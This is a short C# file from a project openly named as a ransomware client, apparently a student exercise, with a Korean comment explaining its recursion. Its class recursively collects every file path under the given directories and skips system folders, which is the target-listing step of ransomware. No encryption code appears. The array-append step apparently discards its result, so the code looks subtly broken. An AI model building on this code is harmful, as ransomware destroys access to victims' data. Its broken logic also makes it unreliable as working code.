
using System.IO;
using Utils;
namespace gukwon_ransomeware_client
{
public class FilePathGetter
{
private string[] allFilePathes;
public FilePathGetter()
{
allFilePathes = new string[0];
}
public string[] GetAllFilePathes(string[] dirPathes)
{
for (int i = 0; i < dirPathes.Length; i++)
{
if(Directory.Exists(dirPathes[i]))
GetAllFilePathes(new DirectoryInfo(dirPathes[i]));
}
return allFilePathes;
}
private void GetAllFilePathes(DirectoryInfo dirInfo)
{
FileInfo[] files = dirInfo.GetFiles();
DirectoryInfo[] dirs = dirInfo.GetDirectories();
string[] pathes = new string[files.Length];
if (dirInfo.FullName.ToUpper().Contains("SYSTEM"))
return;
for (int i = 0; i < files.Length; i++)
{
pathes[i] = files[i].FullName;
}
allFilePathes.Append(pathes);
for(int i = 0; i < dirs.Length; i++)
{
GetAllFilePathes(dirs[i]);
}
}
}
}
- 재귀 함수를 활용해 하위 디렉터리에 들어있는 모든 파일의 경로까지 allFilePath 배열에 추가되도록 하였다.